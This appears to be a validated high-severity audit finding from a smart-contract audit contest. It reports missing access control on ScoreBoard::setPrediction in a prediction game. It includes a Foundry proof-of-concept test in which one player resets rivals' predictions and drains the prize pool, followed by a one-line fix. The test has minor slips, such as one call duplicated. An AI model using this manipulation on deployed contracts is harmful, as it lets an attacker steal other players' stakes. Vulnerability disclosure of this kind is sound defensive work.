Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`ScoreBoard::setPrediction` Has No Access Control, Allowing Unauthorised Modifications and Score Manipulation to any Player Predictions

Summary

The setPrediction function allows any address to access and change the predictions of any player who has used the ThePredicter::makePrediction function. Until the block.timestamp passes the designated cutoff time, predictions can be altered. This enables a malicious player to change another player's prediction to Pending just before the cutoff, causing the affected player to receive no points. This also allows the malicious player to maximize their profit by ensuring other players' scores remain at zero

Vulnerability Details

The following code is to be used in ThePredicter.test.sol file.

  1. We have 3 players called player1, player2 and player3 who have registered, have addresses approved by organizer and make 3 predictions each player.

  2. The organizer sets the scores, for this example we set them all at once with results of First. Meanwhile player1 has changed the predictions of player2 and player3 for games 1 and 2 to Pending giving them a score of 0.

  3. We then warp the timestamp to 1723888799 for game #3, have player1 change the predictions of player2 and player3 to result of Pending.

  4. player2 realises that their score isnt reflecting what they have predicted, player2 tries to change the prediction using setPrediction to result of First, but because it is after the allocated time, score has been set and cant be reversed leaving with a score of 0 as per following scores below.

player1 score: 6
player2 score: 0
player3 score: 0
  1. organizer calls withdrawPredictionFees to receive the amount to pay hall rent according to the README.md file.

  2. player1 withdraws their reward prize, draining the prize pool maximising their earnings.

function testSetPredicitonScenerio() public {
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
address player3 = makeAddr("player3");
vm.startPrank(player1);
vm.deal(player1, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player3);
vm.deal(player3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(player1);
thePredicter.approvePlayer(player2);
thePredicter.approvePlayer(player3);
vm.stopPrank();
vm.startPrank(player1);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(player2);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(player3);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(player1);
scoreBoard.setPrediction(address(player2), 1, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(player3), 1, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(player2), 2, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(player2), 2, ScoreBoard.Result.Pending);
vm.stopPrank();
//get players scores
int8 player1score = scoreBoard.getPlayerScore(address(player1));
int8 player2score = scoreBoard.getPlayerScore(address(player2));
int8 player3score = scoreBoard.getPlayerScore(address(player3));
vm.warp(1723888799); // game 3.
vm.startPrank(player1);
scoreBoard.setPrediction(address(player2), 3, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(player3), 3, ScoreBoard.Result.Pending);
scoreBoard.isEligibleForReward(address(player1)); //is eligable.
vm.stopPrank();
vm.warp(1723888801); // game 3.
vm.startPrank(organizer);
vm.stopPrank();
//player 2 realises that the results have been changed and tries to change them back.
vm.startPrank(player2);
scoreBoard.setPrediction(address(player2), 3, ScoreBoard.Result.First);
vm.stopPrank();
int8 player1score1 = scoreBoard.getPlayerScore(address(player1));
int8 player2score1 = scoreBoard.getPlayerScore(address(player2));
int8 player3score1 = scoreBoard.getPlayerScore(address(player3));
//checking balance and withdrawing.
uint256 balanceBefore = player1.balance;
console.log("balance before withdraw:", balanceBefore);
vm.startPrank(player1);
thePredicter.withdraw();
vm.stopPrank();
uint256 balanceAfter = player1.balance;
console.log("balance after withdraw:", balanceAfter);
uint256 prizePoolBalance = address(thePredicter).balance;
console.log("balance of prizePool after withdraw:", prizePoolBalance);
}

Impact

The impact of this vulnerability is that a player can change other players' predictions without their knowledge until the designated time has passed. As a result, the affected player cannot change their prediction back, leading to potential manipulation and unfair outcomes.

Tools Used

Manual review

Recommendations

Add the onlyThePredicter modifier to ensure that it is only ThePredicter contract that calls and execute this function.

function setPrediction(address player, uint256 matchNumber, Result result)
- public {
+ public onlyThePredicter {
if (
block.timestamp <= START_TIME + matchNumber * 68400 - 68400
) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.